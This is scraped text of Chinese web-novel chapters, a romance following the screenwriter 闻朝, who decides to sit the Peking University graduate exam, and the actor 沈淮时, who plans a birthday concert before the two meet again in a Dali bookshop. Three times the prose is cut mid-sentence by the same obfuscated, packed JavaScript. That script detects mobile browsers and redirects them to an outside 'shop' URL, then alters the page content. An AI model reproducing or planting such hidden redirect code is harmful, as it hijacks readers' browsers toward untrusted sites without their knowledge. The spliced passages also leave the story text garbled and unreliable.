不知为何,她心里没由来地涌上一阵细密的、无处着落的烦躁。像有什么轻盈却坚韧的东西哽在胸口,吐不出,也咽不下,只是沉沉地坠着。 手指依旧下意识地、无意识地敲击着冰凉的木质桌面,发出轻微而规律的“嗒嗒”声,带着某种她自己都未曾察觉的焦灼节奏。 “你说,”她忽然开口,声音很轻,既像是自言自语,又像是不经意间漏出的、投向坐在对面的宋枝的疑问。 宋枝学校刚放暑假,便迫不及待地拖着行李箱跑来郑州,美其名曰“探望孤寡老人”,实则是想躲开家里催婚的唠叨,顺便蹭几天清净。 “……朝生暮死的蜉蝣,在它短暂到几乎可以忽略不计的一生里,有没有可能,真的,清晰地看见过一次月亮?不是水中的倒影,不是模糊的光晕,而是月亮本身。” 话音落下,小小的卡座陷入一片更深的寂静。 只有咖啡馆音箱里流淌着的、某首不知名钢琴曲的尾声,在空气里留下淡淡的、怅然的余韵。 半晌,宋枝才将目光从平板电脑上那些令人眼花的医学图谱和病例摘要中抬起,看向对面好友。 闻朝的侧脸被窗外渐浓的夜色勾勒出清晰的轮廓,眼神却有些空茫地落在远处,带着一种她很少见到的、混合着落寞与迷惘的神情。 宋枝心底轻轻叹了口气,放下了手中的触控笔,语气是难得的认真与温柔,褪去了平日的咋咋呼呼。 “朝朝,他或许是你的月亮,这我信。”她顿了顿,组织着语言,“可你并不是朝生暮死的蜉蝣啊。” 她一字一句,说得清晰而缓慢,像是要确保每个字都落进闻朝的心里, “你是万古长青的远山。你有你自己的高度,你的轮廓,你的草木枯荣与四季轮回。月亮会经过远山,给它披上清辉,但那只是途经的风景。远山本身的存在,从不依赖于任何一片月光,它就在那里,亘古如斯。” 是啊,她已经见过她的月亮了。 见过他高悬天际时清冷孤绝的光辉,也见过他被重重乌云遮掩时,那份奋力挣脱的黯淡与挣扎。 可这惊心动魄的“见过”之后呢? 当风暴平息,云开雾散,月亮重回它既定的轨道,远山也恢复它亘古的沉默。 这种交集,究竟是命运慷慨的馈赠,还是徒然在心底平添往后岁月里无数个凝望夜空时的怅惘? 她一时无法想得透彻明白。 而更让她心烦意乱、甚至有些自我怀疑的是,她发现自己似乎……并不能真正轻松地、彻底地“放下”。 那些共同熬过的深夜,那些无声交换的眼神,那些关于台词和角色心境的低声讨论,甚至是他高烧时滚烫的额头和疲惫却执拗的眼神…… “你以后到底什么打算?”这一次,是宋枝主动将话题从那片过于飘渺的情绪云层里拽出来,引向现实。 马上就要正式毕业了。校园里弥漫的气氛已经截然不同。 图书馆座无虚席,空气里是翻动书页的沙沙声和压低的背诵呢喃;宿舍楼下,常常能看到穿着不合身西装、神情紧张的同学匆匆赶往面试;班级群里,关于考研分数线、招聘信息、租房经验的讨论日夜不休…… 一种集体性的、焦灼而忙碌的洪流,席卷了绝大多数人。 可反观闻朝,每日的生活节奏,却似乎有些微妙地游离于这股奔腾的洪流之外。 她当然没有虚度时光,但她的“忙碌”呈现出另一种形态:不是待在宿舍里对着电脑屏幕,沉浸在全新的文字世界里敲敲打打;就是像现在这样,坐在咖啡馆安静的角落发呆。 宋枝放下手中一直无意识搅动咖啡的小银勺,金属与瓷杯碰撞发出清脆的微响。 她抬眼,望向对面似乎又一次神游天外的闺蜜,眼神里带着毫不掩饰的疑问和深切的关心。 闻朝被那目光拉回现实,停下无意识转动咖啡杯的动作,唇角弯起一个略带无奈的弧度,语气带上了一点故作的轻松,试图驱散空气中那点凝滞, “就业这方面……你觉得,我现在还需要像大家一样,为此焦虑得睡不着觉吗?” 宋枝被她这近乎“凡尔赛”的反问噎了一下,张了张嘴,下意识想反驳“那也不能这么不思进取吧”,但话到嘴边,却又咽了回去。 她仔细想了想,发现自己竟无言以对。 倒是差点忘了。自家这位看似文艺又淡然的闺蜜,还没正式拿到那本毕业证书,就已经凭借过硬的笔杆子、一部已然未播先火、备受瞩目的《骤雪止》,实现了绝大多数同龄人梦寐以求的财务自由和行业内的初步认可。 甚至,还阴差阳错地,与她曾经或许隔着屏幕欣赏过的、那颗遥不可及的“星星”,有了一段真实而深刻、并肩作战又暗流涌动的交集与合作。 她的起点,或许已经是许多人职业生涯的终点了。 自己还在医学这条公认漫长而艰苦的征途上,一边当着学校的“学术牛马”,啃噬着浩瀚如海的专业书籍,一边在医院见习中提前体验“社会的复杂与人情的冷暖”,为那个尚且渺茫的前途焦头烂额。 “唉,别提了,” 宋枝索性抛开那点微妙的、比较之下产生的“人间参差”感,将注意力拉回自己水深火热的日常,这是她更熟悉的吐槽领域, “我的见习期终于、终于只剩下一个多月就要结束了!苍天有眼!再不结束,我连静下心系统复习考研的时间都快被挤压得一滴不剩了。朝朝你是不知道,我们科室最近新收的那个病人,简直是个极品,每天都能整出新花样来折磨医护人员,我算是提前见识到了生物的多样性……” 作为医学生,考研几乎是迈向理想职业生涯的必经独木桥,其竞争的激烈和艰辛,闻朝虽未亲身经历,却也从宋枝日复一日的抱怨和黑眼圈中窥见一斑。 她并不打算对此发表太多隔岸观火式的评价,那太轻飘了。 她只是在这位未来的白衣天使吐槽的间隙,配合地发出几声“真是太不容易了”、“辛苦了辛苦了”的真诚感慨,扮演一个最合格的、充满同情心的倾听者与情绪海绵。 不料,宋枝一番酣畅淋漓的抱怨完毕,端起微凉的咖啡猛灌了一大口,润了润说得发干的嗓子,视线再次牢牢锁定在闻朝脸上,嘴角勾起一抹带着探究和狡黠的笑意: “别光听我倒苦水啊。你呢?我的大编剧、大作家?总不可能毕业了,还打算继续这么‘仙气飘飘’、不食人间烟火地闲着吧?总得有点更具体、更落地的规划吧?新剧本大纲有了?出版社的签售会行程定了?还是说……”她故意拖长了语调,眨了眨眼,“有什么别的、更重要的‘人生大事’,正在悄悄酝酿,没跟我们汇报?” 闻朝眨了眨眼,一时竟被问住了。她确实没有一份写在精美日程本上、分阶段、按部就班的“人生五年计划”。 她迟钝了几秒,指尖描摹着咖啡杯壁上细腻的纹路,才组织起语言,试图让自己的未来图景听起来不那么“游手好闲”或过于飘渺, “嗯……具体的规划……大概就是,先把手里几个构思了一段时间的短篇故事完善出来,看看风格和主题能不能形成一个有趣的系列。然后,确实在酝酿一个新长篇的框架。至于签售会,出版方那边确实有初步接洽,但具体安排要看他们的宣传周期,我自己不太想弄得过于密集奔波,还是想留出足够安静写作的时间。” 她抬起眸子,对上宋枝那双显然写着“就这?听起来还是有点‘虚’”的眼睛,抿了抿唇,声音不自觉地低了些,带着点自己也没完全理清的、探索般的茫然, “还有就是……可能等毕业手续办妥,会出去走走吧。不一定是遥远的异国,可能就是国内一些之前没机会细细品味的地方,江南的古镇,西北的荒漠,西南的梯田……想去看看不同的风景,见见不同质地的生活,感觉……脚踩在实实在在的土地上,呼吸着不一样的空气,或许能帮我更清晰地听见自己心里的声音,找到下一个想深深挖掘的故事脉搏。” 这个回答,虽然比刚才具体了些,但显然仍未能完全满足宋枝的“现实拷问”欲。 她挑了挑眉,身体微微前倾,一副“我就知道没那么简单”的表情,正要继续追问、挖掘更深层的动机。 闻朝却像忽然想起了什么,眼神微微一亮,抢在她前面开口,语气里带上了一丝难得一见的、带着调侃和反击意味的促狭笑意,成功地将焦点转移, “倒是你啊,我亲爱的、未来的宋大医生、宋博士,”她故意将几个称呼念得又慢又清晰,“您老人家的考研复习大业,究竟进行到哪个史诗阶段了?专业课那几座大山,‘生理’、‘生化’、‘病理’,您翻到第几重境界了?英语真题的修罗场,刷完几轮了?正确率可否稳定在让您夜能安寝的水平?还有政治,那本每年都‘与时俱进’的大纲,新增改动的部分,您都‘深刻领会、融会贯通’了没?” 一连串尖锐又具体的问题,如同精准的连珠箭,嗖嗖地射向宋枝。每一箭都正中靶心,戳在她目前最大的焦虑源和痛苦点上。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17325082|198249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>宋枝脸上那点调侃和探究的笑意瞬间冻结、碎裂,取而代之的是一副生无可恋的惨淡表情。 她哀嚎一声,像是被抽走了所有力气,额头“咚”地一下轻轻磕在冰凉的木桌面上,发出闷响,声音从臂弯里瓮声瓮气地传出来: “啊——求别念了!头痛!裂开!让我……让我再最后享受几天这偷来的、罪恶的闲暇吧!回去就是无尽的黑暗了!” 闻朝看着她那副夸张又真实的崩溃模样,忍不住从喉咙里溢出一声轻笑。 那笑声很轻,却带着久违的、纯粹的明朗。 是啊,她默默想着,将目光重新投向窗外渐次亮起的灯火。每个人都有自己注定要跋涉的路,要横渡的河,要攀爬的山。 宋枝的路,清晰、陡峭、充满已知的挑战,需要日复一日的刻苦与坚持。 而她的路……对故事与世界永不满足的探索欲和对文字所能构建的宇宙的信仰,此刻正悄然将她引向另一个决定。 “其实,”闻朝忽然开口,声音平静,却让刚刚从桌上“复活”、正揉着额头的宋枝立刻抬起头,疑惑地看向她。 “我最近……在认真考虑一件事。”闻朝的目光落在面前那几本厚厚的学术著作上,指尖拂过书页边缘。 “什么事?”宋枝的好奇心被彻底勾起。 闻朝抬起眼,看向好友,眼神里有一种下定决心的清亮,“我想考个研。” “啊?”宋枝愣了一下,随即反应过来,“考呗!你学历再镀层金当然好!考哪?中戏?北电?还是……” “北大。”闻朝清晰地吐出两个字,“汉语言文学。现当代文学方向。” 宋枝这次是真的愣住了,眼睛瞪得溜圆,好几秒没说出话。 她当然知道闻朝的文学功底深厚,但北大中文系……那是多少文科学子梦寐以求的学术圣殿,其难度不言而喻。 “你……怎么突然想起考这个?”宋枝消化了一下这个信息,问得小心翼翼,“是为了……更有系统地学习?还是……” “都有吧。”闻朝笑了笑,那笑容里有些复杂的意味,“拍完《骤雪止》,经历这么多事,我有时候会觉得,自己之前的创作,更多是靠本能、靠天赋、靠对人和事的敏锐观察。但我想知道得更深一些。想知道那些打动我的经典背后,更系统的理论支撑是什么;想知道汉语作为一种媒介,它的美和力量,究竟可以挖掘到什么程度……” 她顿了顿,声音更轻,却异常坚定,“而且……北京,我好像还没真正离开过。” 最后那句话,她说得轻描淡写,但宋枝却听出了其中未尽的余音。 北京,那里有未完成的《骤雪止》后期,有尚未彻底平息的风波余绪,有悬而未决的法律程序,更有……那个如月悬空、照亮过她一段艰难旅程的人。 宋枝看着好友沉静而坚定的侧脸,忽然明白了。 考研对闻朝而言,不仅仅是一次学历提升或学术追求,更是一次主动的“重回”。以一种更独立、更坚实、更属于“闻朝”本身的方式,重回那片天空下。 不是作为依附于某个项目或某个人的编剧,而是作为寻求自我突破与深造的学者,作为准备用更丰沛的内心去迎接未来创作的写作者。 “好啊!”宋枝一拍桌子,声音都激动得提高了些,引来旁边座位客人侧目,她连忙压低声音,但眼睛亮晶晶的, “北大中文系!太酷了!你要是考上了,我以后跟人吹牛都有面子——‘我闺蜜,北大中文系的!’需要什么复习资料、信息,尽管说!虽然我帮不上专业课,但精神支持管够!” 闻朝被她逗笑,心里那点因为重大决定而带来的沉甸甸的感觉,似乎也轻松了一些。“嗯,需要的时候肯定找你。不过,我自己先慢慢来,距离明年考试还有时间,不着急。” 而关于那个如月悬空的人,关于那段悬而未决、却已然深刻改变了她生命质地的情愫…… 她端起桌上已经彻底凉透的咖啡,送到唇边,轻轻呷了最后一口。 冰凉的液体滑过舌尖,起初是鲜明而纯粹的苦涩,那苦涩渐渐化开,舌根深处悄然泛起一丝极淡、却异常清晰的甘醇与回香,久久不散。 就让它像这杯咖啡复杂而持久的余味一样吧。不必急于在当下给出一个明确的定义或结局,也不必强行剥离或遗忘。 允许它存在,允许它作为一种背景的滋味,融入她正在展开的、更广阔的生命图景之中。 时间还长,远山静默,但并非停滞。它正在为自己积蓄更深厚的土壤,酝酿更繁茂的生机。 而月亮,无论见或不见,它始终在自己既定的轨道上运行,清辉洒遍人间。 而现在,她只需要,继续沉稳地做那座万古长青的远山。同时,拿起书本,握紧笔,为自己规划一条通向更深邃知识殿堂的道路。 第一步,就从眼前这几本厚重的、散发着油墨清香的学术著作开始。 46. ‘拾光·映迹\’演唱会 几乎在同一时间线的北京,东三环那栋写字楼高层,沈淮时工作室里,气氛是一种经过风暴彻底洗礼后、被淬炼出的、更加凝练而专注的平静。 窗外初夏的阳光炽烈,室内空调温度适宜,只有敲击键盘的清脆声响、翻阅文件的细微沙沙声,以及偶尔压低的、条理清晰的讨论。 经纪人杨露将一份装订整齐的文件推到沈淮时面前,表情是惯有的公事公办的严肃,但若仔细观察,能发现她眼底深处藏着一丝罕见的、近乎欣慰的沉稳。 “‘拾光·映迹’演唱会的最终方案和合同全部敲定了,法律和财务团队交叉审核过三遍,确保万无一失。” 杨露的指尖点着文件上几个关键条款, “时间就按你最初的想法,定在九月二十一,你生日当天。场地是国家体育馆,规模适中,声场效果和观众体验都是顶级的。音响、灯光、舞美团队,用的都是合作过多次、最顶尖也最懂你需求的那几组人,磨合期可以缩到最短。前期预热宣传,营销部根据‘回归本我’、‘音乐对话’、‘生日献礼’几个核心关键词,做了三套侧重点不同的方案,等你最后拍板。” 沈淮时接过那份厚重的文件,目光沉静地扫过那些密密麻麻的专业条款和精确到分钟的时间节点。 他比拍摄《骤雪止》最疲惫时清瘦了些,但那种因过度身心消耗而产生的、令人担忧的脆弱感已然褪去,取而代之的是一种经过沉淀与恢复后、更加内敛而扎实的力量感。 “九月二十一……”他低声重复了一下这个早已刻入生命的日期,指尖在光洁的纸张边缘无意识地、极轻地摩挲了一下。 这个日子,于公众而言或许只是明星生日,于他,却总关联着更私人的刻度,是年岁的增长,是自我审视的时刻。 今年,更被赋予了一层主动破局、重新出发的仪式意味。 “嗯,这个时间点我们反复推演过。”杨露的声音平稳而务实,带着多年合作的默契,“避开了年底各大颁奖礼和商业活动的扎堆期,也给了《骤雪止》后期制作足够的缓冲空间,更重要的是,给你留出了充分的、不受干扰的排练和身心准备时间。从专业和策略角度看,目前是最优解。” 她稍作停顿,目光锐利地观察着他瞬间的神色变化,“当然,如果你觉得还是太赶,或者希望有更长的沉淀期,推迟到明年春天,甚至更晚,我们在合同里也保留了弹性空间。主动权在你。” 沈淮时没有立刻回答。他微微抬起眼,视线越过杨露的肩膀,投向窗外那片被玻璃过滤了灼热、显得格外高远清澈的初夏天空。 一些画面无声地、却无比清晰地滑过脑海:医院凌晨走廊冰冷的空气,手背上输液针尖刺入皮肤时短暂的锐痛,以及高烧混沌中强行凝聚起的那丝不甘的清醒;还有……她清晰到近乎残酷、却又精准戳破他所有强撑表象的声音:“工具坏了,戏怎么拍?” 舞台,对他而言,从来不只是展示魅力与才华的华丽秀场。那是另一个需要极度专注、真实不欺、甚至更需要赤裸情感投射的“片场”。 “就九月二十一。”沈淮时收回目光,看向杨露,语气平静如深潭,却蕴含着不容置疑的决断力,像一块经过锻打的钢,“不用推迟。” 杨露了然地点了点头,对这个答案毫不意外。 她太了解眼前这个人了。了解他艺术上的执拗,了解他性格里那份沉静之下的骄傲与坚韧。 “好。那我立刻通知所有团队,按照九月二十一这个最终时间节点,启动全面倒计时筹备流程。所有环节同步推进。” 杨露雷厉风行地在平板电脑上记下要点,随即抬起眼,问到了更核心的部分, “演唱会的整体概念和艺术方向,你有什么具体的想法了吗?是交给导演团队全权构思,还是你有明确的框架?” 沈淮时向后靠进椅背,陷入了短暂的沉思。 过去这几个月,在休养、调整、处理后续事宜的间隙,他听了大量的音乐。 从陪伴成长的经典老歌,到近年来触动心弦的独立作品,从澎湃的交响到极简的民谣。有些旋律总让他想起《骤雪止》里那些未能完全言说、却弥漫在字里行间的未竟情绪。 “主题……就叫‘回响’吧。”他缓缓开口,声音不高,却每个字都带着斟酌后的分量,“不需要太复杂的包装。核心就是音乐本身,是真诚的倾诉,或许……可以加入少量经过精心设计的独白或念白,作为情绪的衔接与深化。舞美、服装、一切视觉元素,都力求简约、克制,服务于‘声音’和‘情感’这两个最本质的载体。” 他想呈现的,并非一场炫技的、取悦感官的盛大表演,而是一次真诚的“回响”。 回应过往岁月里的波澜与寂静,回应内心深处不曾停息的声音,也回应那些在至暗时刻,曾给予他微弱却关键“回响”的星光与灯火。 “‘回响’……”杨露低声重复了一遍,在齿间品味着这个词的质感与弹性,随即肯定地点头,“很好。这个词既有空间感,又有纵深感,包容性强,也足够含蓄有力,能承载你想要表达的多重维度。我会把你的核心意图完整传达给导演和策划团队,确保所有环节都围绕这个灵魂来构建。” 沈淮时的动作顿了一下,目光似是无意地掠过桌面上那个安静的、没有任何新消息提示的私人手机。 自从剧组杀青,各自返回原本的生活轨道,那个特定的对话框就和它的主人一样,陷入了长久的静默。 他知道她回到了郑州,目标明确地投入到备考北大研究生的紧张节奏中。 那是她为自己选择的“远山”之路,沉稳,坚定,充满向上的力量,与他此刻选择的“舞台”路径,看似平行,却仿佛又在某种更深层的精神维度上,遥相呼应。 他拿起笔,在文件末尾需要签名的地方,利落地签下自己的名字。笔迹一如既往的遒劲有力,每一笔都透着沉静的决心。 “另外,”合上文件,他像是忽然想起一件微不足道的小事,语气随意地补充道,“留几张位置好一点的票。不用那种过于醒目或特殊的VVIP席位,普通内场前排,视角和音效俱佳的位置就行。” 杨露瞬间了然于心,但极高的职业素养让她脸上没有丝毫异样,甚至连眼神的波动都控制在最小幅度,只是平静如常地应下,“好的,记下了。这几张票,是以工作室的常规赠票名义留,还是……?” “以我个人的名义。”沈淮时的语气自然得像在讨论一杯水的温度,却带着清晰的界限感,“给闻朝编剧。如果她的朋友宋枝小姐、陆易安小姐方便,也一并预留。地址……”他报出了一个郑州的地址,那是闻朝学校的地址,他不知何时已然记下。 他没有用“邀请”这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17330399|198249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个词,而是用了“如果方便”。这是一种精心拿捏的分寸,也是一种彻底的尊重。 他将知晓与选择的权利,完全交还给她。她或许会从新闻上看到演唱会的消息,这几张悄然送达的票,只是一个安静的告知,一份来自遥远北京、名为“回响”的、沉默的邀约。 来或不来,见或不见,都在于她,无需任何言语的确认或压力。 杨露眼中闪过一丝极快、几乎无法捕捉的了然微光,随即恢复绝对的职业与高效,“明白。我会亲自处理,确保票务信息准确、低调送达。” 正事谈毕,杨露抱起那叠厚重的文件,起身离开了办公室。厚重的木门轻轻合拢,将外间隐约的忙碌声隔绝,室内重新陷入一片适合沉思的安静。 沈淮时没有立刻起身。他独自在宽大的办公椅上坐了片刻,然后才缓缓站起,走到那面巨大的落地窗前。 初夏午后的阳光依然炽烈,透过高透的玻璃,在他周身勾勒出一圈淡淡的光晕。 “回响。” 他在心底,又无声地念了一遍这个词。 然后,他走回桌前,拿起那个私人手机。解锁,点开那个沉寂已久的微信对话框。 上一次对话,还停留在他出院后,她告知网信办联系事宜,和他回复的那句简短的“保重”。 往上翻,是更早之前,关于剧本、关于病情的零星交流,字句简洁,却承载着那段特殊时期无法言说的重量。 他修长的手指在冰冷的屏幕上悬停了片刻。有许多话,或许可以在此刻输入。关于演唱会的构想,关于“回响”的寓意,关于生日这个日子的私心,甚至关于……那未竟的“第五个季节”。 但最终,他的指尖并未落下,去敲击任何一个字符。 他只是退出对话框,点开了朋友圈发布页面。从相册里,选择了那张刚刚定稿、尚未对外正式发布的“拾光·映迹”演唱会首版概念海报雏形。 设计极其简洁,深沉的底色上,只有银灰色的日期“9.21”、地点“国家体育馆”,以及“沈淮时‘拾光·映迹’音乐会”一行字,再无其他。 他点选了“谁可以看”的权限设置,在长长的好友列表中,精准地勾选了唯一的一个名字:闻朝。 然后,点击了“发布”。 没有配任何文字,没有表情,只有一个孤零零的、尚未经任何宣传渠道曝光的预告图片,静静地出现在那个仅一人可见的、私密的朋友圈时间线上。 做完这个微小却郑重的动作,他收起手机,目光重新投向窗外那片无垠的、明亮的天空。 工作室外,关于“拾光·映迹”演唱会的庞大而精密的机器,已经随着他最终的决定,开始悄无声息地、高效地全速运转起来。 策划、排练、宣传、票务、安保……无数齿轮紧密咬合,向着九月二十一日那个光辉的节点推进。 而属于他个人的、那份最私密的“回响”,已经以这种寂静的方式,向着那座沉默而坚定的“远山”,发出了第一缕微不可察的声波。 接下来,是长达三个多月的极致打磨,是身心投入的艰苦排练,也是一段安静的等待。 等待国家体育馆的灯光,第一次为他个人的歌声而点亮。 也等待,那座远山,是否会在某个秋意渐浓的时刻,传来她独有的、清越而悠长的回响。 47. 好久不见 决定考研和筹备新书的念头,像两张绷紧的弓弦,重新拉满了闻朝的生活。 这股力道让她踏实,却也隐隐勒得慌。 为了喘口气,也为了给仓促结束的大学生活补一场安静的告别,她收拾了简单的行李,飞往云南大理。 选择这里没什么特别理由,只是觉得够“远”。远到能隔开熟悉的一切,也远到能让那些尚未沉淀的喧嚣,暂时安静下来。 毕业季已近尾声,同学们散落四方。闻朝在古城僻静处租了间白族小院,推窗能看见一角青瓦和远处苍山淡影。 日子过得规律:上午雷打不动地复习,北大中文系的参考书堆满案头;下午阅读、散步,或在院子的石凳上为新书攒些零散灵感。 只是连着几日困在书桌前,面对密密麻麻的文字,那股备考初期特有的烦闷感还是爬了上来。她知道,得出去透透气了。 想起前几天傍晚散步时,偶然路过的一家书店。在岔路尽头,门面是种极淡的、近乎月白的蓝,招牌上“云停书咖”四个手写字,清隽飘逸。 此刻这印象突然变得无比清晰。她需要那份被书和安静包裹起来的气息。 古城午后的阳光炽烈通透,石板路上光影斑驳。空气里有烤乳扇的甜香,花草的清气,远处手鼓店懒洋洋的节奏。 闻朝戴着宽檐草帽,慢悠悠走着。屋檐下,几只猫在阴影里打盹。时间在这里,仿佛被调慢了。 “云停书咖”不大。推开门,风铃发出清脆悠长的“叮咚”声。 人很少。靠窗坐着两个看地图的游客,长桌边有个对着笔记本打字的男生。空气里是旧书纸页和咖啡豆混合的温厚气息。 闻朝深吸一口气,紧绷的神经松了些。她卸下帆布包,没急着点单,指尖拂过一排排书脊。 最终停在诗集前。抽出一本聂鲁达的《二十首情诗和一首绝望的歌》,是她喜欢的译本。 环顾四周,她走向最靠里的角落。那里有张被茂盛龟背竹半掩的单人沙发,光线透过叶隙,在地毯上投下细碎摇曳的光斑,像个私密庇护所。 她坐进去,沙发柔软地包裹住身体。翻开书页,纸张厚实温润,带着新书淡淡的油墨香。 聂鲁达灼热的诗句,在这样的宁静里读来,有种奇异的反差。她很快沉浸进去,忽略了时间流逝。书页翻动时发出轻微的“沙沙”声,像春蚕在寂静的夜里食叶,缓慢而确实。 不知过了多久,脖颈因长时间低头开始酸涩。她轻轻“嘶”了一声,蹙眉放下诗集,抬手去揉捏后颈。几乎是下意识地,带着点从文字世界抽离后的茫然,她抬起眼,目光随意扫过前方略显空旷的过道。 下一秒,她的动作、呼吸、心跳,仿佛瞬间被按下了暂停键。 目光毫无预兆地,直直撞进了一双正望向她这个方向的、熟悉到令她灵魂震颤的桃花眼里。 那双眼睛,在书店柔和的顶灯光线下,少了些“演员沈淮时”的锐利与距离感,多了些长途奔波后的温润倦意,眼下有淡淡的青影。 但眼底那份沉静中始终萦绕的、难以捉摸的疏离底色,丝毫未变,像深海之下的暗流。 心脏像被一只冰冷的手骤然攥紧,血液冲上头顶,带来短暂眩晕,又在下一秒冰凉褪去,四肢泛起虚脱般的寒意。 闻朝整个人僵在沙发里,维持着抬手捏后颈的姿势,指尖冰凉。世界的声音、色彩、气味,都在这一刻被无限拉远、模糊。 沈淮时也愣住了。他戴着一顶普通的黑色棒球帽,帽檐压得很低。身上是件没有logo的深灰色连帽卫衣,洗得发白的牛仔裤,肩上挎着个磨损了边角的军绿色帆布包,朴素得像个清瘦沉默的文艺青年,与屏幕上星光熠熠的形象判若两人。 他刚推开书店门走进来,站在入口处的书架前浏览书脊,然后,目光被某种无形引力牵引,缓缓扫过这个静谧角落。 就在触及那个被绿植半掩的、蜷在沙发里的纤细身影时,他也骤然停住了。浏览的动作停滞,身体有极其细微的凝滞。在那双总是波澜不惊的眼眸深处,出现了一瞬间近乎空白的茫然。 几秒钟令人心悸的死寂后,是他先挣脱出来。 帽檐阴影下,那双形状优美的嘴唇,极轻微地向上弯起了一个弧度,一个……仿佛长久悬空之物终于找到落点的、如释重负般的柔软弧度。那笑意短暂驱散了他眉眼间的倦色,点亮了整张面容。 他没有丝毫犹豫,迈开脚步朝她走来。步伐不疾不徐,却异常稳定,穿过安静矗立的书架,穿过弥漫的咖啡香与书卷气。 他的脚步很轻,落在老旧的木地板上几乎无声。 但闻朝却觉得,那一步步,清晰得如同重锤,一下,又一下,沉重地敲打在她骤然失序、狂跳不已的心脏上。 他在她面前半步远的地方停下,微微低下头。声音压得很低,带着一点长途飞行后未散的微哑,和一种刻意的、小心翼翼的轻柔: “好久不见。” 几乎是同一时刻,窗棂上悬挂的那串风铃,恰好又被一阵穿堂风拂动,发出一连串清脆空灵的“叮咚”声。 那声音,与他这句低沉微哑的“好久不见”,微妙地重叠、交织。 闻朝恍惚生出一种强烈的不真实感。仿佛时空的经纬发生了奇异折叠,将那个本应远在千里之外、被无数工作计划包围的遥不可及的身影,毫无预兆地投放到了大理古城这个安静的角落,投放到了她触手可及的面前。 从五月中旬《骤雪止》杀青,到如今六月底,不过一个半月。并非真正意义上的“好久”。 可这一个半月里,她经历了兵荒马乱的毕业季,扎进了备考北大的枯燥压力中; 而他,想必也穿越了舆论风暴的余波,投入了演唱会紧张的筹备。 短暂的“一个半月”,竟在心理感知上被拉伸成了一种带有明确距离感的“好久”。 喉咙干涩发紧。她张了张嘴,试了几次,才找回自己的声音,同样压得很低,带着一丝不易察觉的颤抖, “好久不见,沈淮时。” 他听到回应,眼中那点柔软的笑意似乎更深了些。很自然地在对面那张空闲的单人沙发上坐下,姿态放松,仿佛他们不是在这千里之外的异乡猝然重逢,而是早就约好在此碰面的老朋友。 他将肩上的帆布包取下,随意放在脚边的地毯上。 坐下后,他的目光才真正开始仔细打量她,以及她周围这个小天地:摊开的《中国古典美学》和写满批注的笔记,膝头那本聂鲁达的诗集,手边那杯早已凉透、只剩杯底一点琥珀色液体的花果茶。 他的视线在那本诗集封面上停留了一瞬,嘴角扬起的弧度里,染上了一层显而易见的、带着点促狭意味的调侃: “我就说我怎么会认错。”他抬起手,食指轻轻点了点自己的太阳穴,又指了指眼睛,语气里有一种难得的、近乎孩子气的笃定,“我的粉丝,哪怕只是一个模糊的背影,混在这茫茫人海里,我也能一眼就认出来。” 这话说得半真半假,带着沈淮时特有的、总是游走在玩笑与认真边缘的微妙语气。 但闻朝却清晰地记得,在方才目光猝然相接的那一瞬间,他眼中确实飞快掠过了一丝毫不掩饰的、纯粹而明亮的惊喜,那光芒甚至短暂压过了他周身的疲惫。 只是那惊喜太过浓烈也太过短暂,很快便被更习惯性的、沉稳内敛的笑意覆盖,化为此刻凝结在他嘴角的、那抹让她心跳彻底失衡的温和弧度。 闻朝像是被那笑意和话语烫了一下,有些愣怔地抬头看向他。 书店暖黄的灯光自上而下洒落,在他脸上勾勒出清晰俊朗的轮廓线条,挺直的鼻梁,微抿的唇线,以及帽檐在眼窝处投下的一小片深邃阴影。 她能清晰地感觉到,自己的心跳在漏跳了好几拍之后,开始以一种完全失控的、近乎慌乱的速度,重重撞击着胸腔内壁。 “对了,上次……”沈淮时似乎想起了什么,身体微微向前倾了倾,拉近了一点距离。 他的目光专注地落在她脸上,那双桃花眼在近距离注视下显得更加深邃,眸底似有暗流涌动。语气里罕见地带上了一丝犹豫,仿佛在斟酌用词。 然而,话刚开了个头,就被身后一阵略显急促的脚步声打断了。 是许安。他同样一身低调便服,脸上带着连日奔波后的疲惫,但眼神依旧锐利警惕。 他几乎立刻就发现了坐在角落里的沈淮时,以及……沈淮时对面那个让他也瞬间怔住的熟悉身影。 许安眼中闪过一丝讶异,但那讶异只停留了不到半秒,便迅速收敛。他快步走到沈淮时身侧,俯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334150|198249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下身,用只有他们两人能听清的音量提醒:“老板,导演组那边又催了。苍山那边云层光线正好,最好半小时内能赶到山脚。” 沈淮时闻言,眉头几不可察地蹙了一下,那蹙起的纹路里写满了被打断的不悦,以及更深层的、计划外珍贵事物即将被迫搁置的懊恼。 他快速瞥了许安一眼,随即又立刻转回来看向闻朝。目光在她脸上停留,眼神复杂,透出一种清晰的为难与不舍。 